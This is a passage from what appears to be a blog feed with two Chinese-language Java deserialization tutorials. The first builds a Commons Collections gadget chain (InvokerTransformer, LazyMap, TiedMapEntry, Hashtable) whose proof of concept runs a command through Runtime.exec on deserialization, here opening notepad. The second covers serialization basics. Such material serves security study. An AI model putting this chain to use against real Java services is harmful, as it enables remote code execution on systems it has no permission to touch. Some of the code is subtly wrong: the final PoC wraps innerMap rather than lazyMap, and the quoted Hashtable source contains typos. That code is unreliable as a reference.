class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestTest</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> String.class, Class[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="string">"getRuntime"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> Object.class, Object[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"notepad"</span>}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>) };</span><br><span class="line"></span><br><span class="line"> <span class="type">Transformer</span> <span class="variable">transformerChain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"> transformerChain.transform(<span class="string">"a"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行代码,利用成功,成功弹出记事本</p><p><img src="https://s2.loli.net/2023/04/05/pT3jC75Lf4SmgxY.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/pT3jC75Lf4SmgxY.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221130102839739"></p><p>这里只是手动触发,现在要看一下被动触发,也就是在真实的应用中怎么触发ChainedTransformer的transform方法。</p><p>全局寻找哪个类中使用了factory方法,并且我们可以利用,锁定到了LazyMap类</p><h3 id="LazyMap利用链"><a href="#LazyMap利用链" class="headerlink" title="LazyMap利用链"></a>LazyMap利用链</h3><p>LazyMap类中调用了transform的地方,在get方法中: </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">get</span><span class="params">(Object key)</span> {</span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">this</span>.map.containsKey(key)) {</span><br><span class="line"> <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> <span class="built_in">this</span>.factory.transform(key);</span><br><span class="line"> <span class="built_in">this</span>.map.put(key, value);</span><br><span class="line"> <span class="keyword">return</span> value;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.map.get(key);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>调用了this.factory.transform方法,而 <code>this.factory</code>是我们可控的,构造函数如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="title function_">LazyMap</span><span class="params">(Map map, Transformer factory)</span> {</span><br><span class="line"> <span class="built_in">super</span>(map);</span><br><span class="line"> <span class="keyword">if</span> (factory == <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">IllegalArgumentException</span>(<span class="string">"Factory must not be null"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="built_in">this</span>.factory = factory;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>构造利用链时,我们只需要令factory为我们构造的ChainedTransformer就可以触发ChainedTransformer的transform方法。</p><p>现在倒是找到了能够触发transform()的地方了,但是这还是不能在反序列化的时候自动触发,我们都知道反序列化只会自动触发函数readObject(),所以,接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的get方法</p><p>到这一步,正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找get方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这个方法或者readObject中有可疑的操作,最后能够间接触发这个方法。</p><p>寻找到了TiedMapEntry类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TiedMapEntry</span> <span class="keyword">implements</span> <span class="title class_">Map</span>.Entry, KeyValue, Serializable {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> -<span class="number">8453869361373831205L</span>;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Map map;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Object key;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">TiedMapEntry</span><span class="params">(Map map, Object key)</span> {</span><br><span class="line"> <span class="built_in">this</span>.map = map;</span><br><span class="line"> <span class="built_in">this</span>.key = key;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">getValue</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.map.get(<span class="built_in">this</span>.key);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> <span class="built_in">this</span>.getValue();</span><br><span class="line"> <span class="keyword">return</span> (<span class="built_in">this</span>.getKey() == <span class="literal">null</span> ? <span class="number">0</span> : <span class="built_in">this</span>.getKey().hashCode()) ^ (value == <span class="literal">null</span> ? <span class="number">0</span> : value.hashCode());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.getKey() + <span class="string">"="</span> + <span class="built_in">this</span>.getValue();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中getValue方法也调用了get方法,如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">getValue</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.map.get(<span class="built_in">this</span>.key);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>而且<code>this.map</code>我们也可以控制,构造方法:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="title function_">TiedMapEntry</span><span class="params">(Map map, Object key)</span> {</span><br><span class="line"> <span class="built_in">this</span>.map = map;</span><br><span class="line"> <span class="built_in">this</span>.key = key;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中hashCode()和toString()方法间接执行了getValue方法,但是这个也没办法直接触发,因为它没有在readObject的时候调用,当在readObject的时候调用,才能让它自动执行,所以我们最终要找的还是readObject方法中的触发点,可以关注这三个方法谁能调用</p><p>在Hashtable中的readObject存在hashCode()方法,这是jdk内部的类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Hashtable</span><K,V> <span class="keyword">extends</span> <span class="title class_">Dictionary</span><K,V> <span class="keyword">implements</span> <span class="title class_">Map</span><K,V>,Cloneable,java.io.Serializable {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">transient</span> Entry<?,?>[]table;</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">transient</span> <span class="type">int</span> count;</span><br><span class="line"> <span class="keyword">private</span> <span class="type">int</span> threshold;</span><br><span class="line"> <span class="keyword">private</span> <span class="type">float</span> loadFactor;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">transient</span> <span class="type">int</span> <span class="variable">modCount</span> <span class="operator">=</span> o;</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">1421746759512286392L</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(java.io.0bjectInputStream s)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException{</span><br><span class="line"> <span class="comment">//Read in the threshold and loadFactor</span></span><br><span class="line"> s.defaultReadobject();</span><br><span class="line"> <span class="comment">//Read the number of elements and then all the key/value objects</span></span><br><span class="line"> <span class="keyword">for</span> (; elements > <span class="number">0</span>; elements--) {</span><br><span class="line"> <span class="type">K</span> <span class="variable">key</span> <span class="operator">=</span> (K)s.readObject()</span><br><span class="line"><span class="type">v</span> <span class="variable">value</span> <span class="operator">=</span> (V)s.readObject();</span><br><span class="line"> reconstitutionPut(table, key, value);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">reconstitutionPut</span><span class="params">(Entry<?,?>[]tab, K key, v value)</span> <span class="keyword">throws</span> StreamCorruptedException{</span><br><span class="line"> <span class="keyword">if</span> (value == <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.StreamCorruptedException();</span><br><span class="line"> } </span><br><span class="line"> <span class="type">int</span> <span class="variable">hash</span> <span class="operator">=</span> key.hashCode();</span><br><span class="line"><span class="type">int</span> <span class="variable">index</span> <span class="operator">=</span>(hash & <span class="number">0x7FFFFFFF</span>) % tab.length;</span><br><span class="line"><span class="keyword">for</span> (Entry<?,?> e = tab[index]; e!= <span class="literal">null</span> ; e= e.next) {</span><br><span class="line"> <span class="keyword">if</span>((e.hash == hash) && e.key.equals(key)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.StreamCorruptedException(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line">} </span><br></pre></td></tr></table></figure><p>把Hashtable形成的对象序列化进去,那么当在反序列化时,要去调用Hashtable的readObject,再间接去调用hashCode()里的getValue()再去调用LazyMap中的transform()方法,而transform()方法里是我们构造的ChainedTransformer</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestTest</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {</span><br><span class="line"> disableWarning();</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> String.class, Class[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="string">"getRuntime"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> Object.class, Object[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"notepad"</span>})};</span><br><span class="line"></span><br><span class="line"> <span class="type">Transformer</span> <span class="variable">transformerChain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"> <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap, transformerChain);</span><br><span class="line"></span><br><span class="line"> <span class="type">TiedMapEntry</span> <span class="variable">entry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(innerMap, transformerChain);</span><br><span class="line"> Hashtable<Object, Object> hashtable = <span class="keyword">new</span> <span class="title class_">Hashtable</span><>();</span><br><span class="line"> hashtable.put(<span class="string">"pwn"</span>,<span class="string">"dd"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">table</span> <span class="operator">=</span> hashtable.getClass().getDeclaredField(<span class="string">"table"</span>);</span><br><span class="line"> table.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> Object[] hasharray = (Object[]) table.get(hashtable);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (Object obj: hasharray){</span><br><span class="line"> <span class="keyword">if</span> (obj != <span class="literal">null</span>){</span><br><span class="line"> <span class="type">Field</span> <span class="variable">entykey</span> <span class="operator">=</span> obj.getClass().getDeclaredField(<span class="string">"key"</span>);</span><br><span class="line"> entykey.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> entykey.set(obj,entry);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">objectOutputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"CC6.ser"</span>));</span><br><span class="line"> objectOutputStream.writeObject(hashtable);</span><br><span class="line"> objectOutputStream.close();</span><br><span class="line"></span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"CC6.ser"</span>));</span><br><span class="line"> ois.readObject();</span><br><span class="line"> ois.close();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>成功弹出记事本</p><p><img src="https://s2.loli.net/2023/04/05/6spHaobMdTRL4kQ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/6spHaobMdTRL4kQ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221130152623009"></p><p>还有很多其他可以利用的类和利用链:</p><p>BadAttributeValueExpException的readObject方法</p><p>toString方法与php中的<code>__toString</code>方法类似,在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用</p><p>AnnotationInvocationHandler的invoke方法中有get的调用再配合动态代理</p><p><strong>TransformedMap</strong>利用链,另一条POP链</p><p>本博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。</p><p>本文所提供的工具仅用于学习、漏洞验证,禁止用于非法用途!</p>]]></content>
<categories>
<category> java安全 </category>
</categories>
<tags>
<tag> 反序列化 </tag>
</tags>
</entry>
<entry>
<title>java安全 反序列化(一)</title>
<link href="/2023/04/05/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%B8%80/"/>
<url>/2023/04/05/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%B8%80/</url>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。序列化是一种对象持久化的手段,可以将对象的状态转换为字节数组,来便于存储或者传输的机制;可以有效地实现多平台之间的通信、对象持久化存储。</p><p>Java中的<code>ObjectOutputStream</code>类的<code>writeObject()</code>方法可以实现序列化,类<code>ObjectlnputStream</code>类的<code>readObject()</code>方法用于反序列化。</p><p>就像游戏的存档,中途退出后存档,再次游玩时读取存档恢复上次游戏离开时的状态</p><h2 id="序列化基础知识:"><a href="#序列化基础知识:" class="headerlink" title="序列化基础知识:"></a>序列化基础知识:</h2><p>一个类对象要想实现序列化,必须满足两个条件:</p><p>该类的所有属性必须是可序列化的。</p><p>需要实现Serializable或Externalizable接口</p><p>实现其中一个接口就可以了</p><p>java.io.Serializable</p><p>java.io.Externalizable</p><h3 id="java-io-Serializable"><a href="#java-io-Serializable" class="headerlink" title="java.io.Serializable"></a>java.io.Serializable</h3><p>public interface Serializable {}</p><p>这个是标记接口里面什么内容都没有,本身是没有意思的。编译器知道这个标记有什么含义,对实现了这个接口的类会进行特殊处理。</p><p>实现了这个接口的类,编译器就知道这个对象是可以用来序列化</p><h3 id="java-io-Externalizable"><a href="#java-io-Externalizable" class="headerlink" title="java.io.Externalizable"></a>java.io.Externalizable</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">Externalizable</span> <span class="keyword">extends</span> <span class="title class_">java</span>.io.Serializable{</span><br><span class="line"> <span class="keyword">void</span> <span class="title function_">writeExternal</span><span class="params">(ObjectOutput out)</span> <span class="keyword">throws</span> IOException;</span><br><span class="line"> <span class="keyword">void</span> <span class="title function_">readExternal</span><span class="params">(ObjectInput in)</span> <span class="keyword">throws</span> IOException,ClassNotFoundException;}</span><br></pre></td></tr></table></figure><p>Externalizable接口也是实现了Serializable接口,并且有2个方法,要继承这个接口必须要实现接口定义的方法。</p><h2 id="尝试序列化和反序列化"><a href="#尝试序列化和反序列化" class="headerlink" title="尝试序列化和反序列化"></a>尝试序列化和反序列化</h2><p>对一个类进行序列化需要执行ObjectOutputStream.writeObject方法写入对象。</p><p>对一个类进行反序列化需要ObjectIputStream.readObject从输入流中读取字节然后转换成对象。</p><p>在反序列化的过程中,是直接拿到对象而不是new一个所以被反序列化操作的类不会执行构造方法</p><p>注意看注解</p><p>TestSerialize</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestSerialize</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">public</span> String username;</span><br><span class="line"> <span class="comment">//被transient关键字修饰的成员属性变量不被序列化</span></span><br><span class="line"> <span class="keyword">transient</span> <span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">TestSerialize</span><span class="params">(String name, String pass)</span> {</span><br><span class="line"> <span class="built_in">this</span>.username = name;</span><br><span class="line"> <span class="built_in">this</span>.password = pass;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testUse</span><span class="params">()</span>{</span><br><span class="line"> System.out.println(<span class="string">"uasrname: "</span>+username);</span><br><span class="line"> System.out.println(<span class="string">"password: "</span>+password);</span><br><span class="line"> }</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"TestSerialize{"</span> +</span><br><span class="line"> <span class="string">"username='"</span> + username + <span class="string">'\''</span> +</span><br><span class="line"> <span class="string">", password='"</span> + password + <span class="string">'\''</span> +</span><br><span class="line"> <span class="string">'}'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>main</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">main</span> {</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">TestSerialize</span> <span class="variable">ser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestSerialize</span>(<span class="string">"GhostToKnow"</span>,<span class="string">"123123"</span>);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 创建一个FIleOutputStream类</span></span><br><span class="line"> <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"./Test.ser"</span>);</span><br><span class="line"> <span class="comment">// FileOutputStream类,字节输出流,用于处理原始二进制数据。将数据写到文件,需要将数据转换成字节并将其保存到文件。</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将这个FIleOutputStream类封装到ObjectOutputStream中</span></span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line"> <span class="comment">// ObjectOutputStream,对象的输出流,将指定的对象写入到文件完成对象的序列化过程</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 调用writeObject方法,序列化对象到文件Test.ser中</span></span><br><span class="line"> oos.writeObject(ser);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建一个FIleInutputStream类</span></span><br><span class="line"> <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"./Test.ser"</span>);</span><br><span class="line"> <span class="comment">// FileInputStream文件输入流,是将文本文件中的数据输入到内存中。他是一个字节输入流,是InputStream抽象类的一个子类</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 将FileInputStream类封装到ObjectInputStream中</span></span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line"> <span class="comment">// ObjectInputStream,反序列化流,将使用ObjectOutputStream序列化的原始数据恢复为对象,以流的方式读取对象</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// 调用readObject从user.ser中反序列化出对象,默认是Object类型,需要进行类型转换,</span></span><br><span class="line"> <span class="type">TestSerialize</span> <span class="variable">test</span> <span class="operator">=</span> (TestSerialize)ois.readObject();</span><br><span class="line"></span><br><span class="line"> test.testUse();</span><br><span class="line"> } <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/05/nysFWU8Y2caw6R5.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/nysFWU8Y2caw6R5.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221126145422550"></p><p><img src="https://s2.loli.net/2023/04/05/s5rnAoqjcJFxDfp.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/s5rnAoqjcJFxDfp.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221127125955115"></p><p>0xACED:STREAM_MAGIC,声明使用了序列化协议,<strong>从这里可以判断保存的内容是否为序列化数据。</strong> 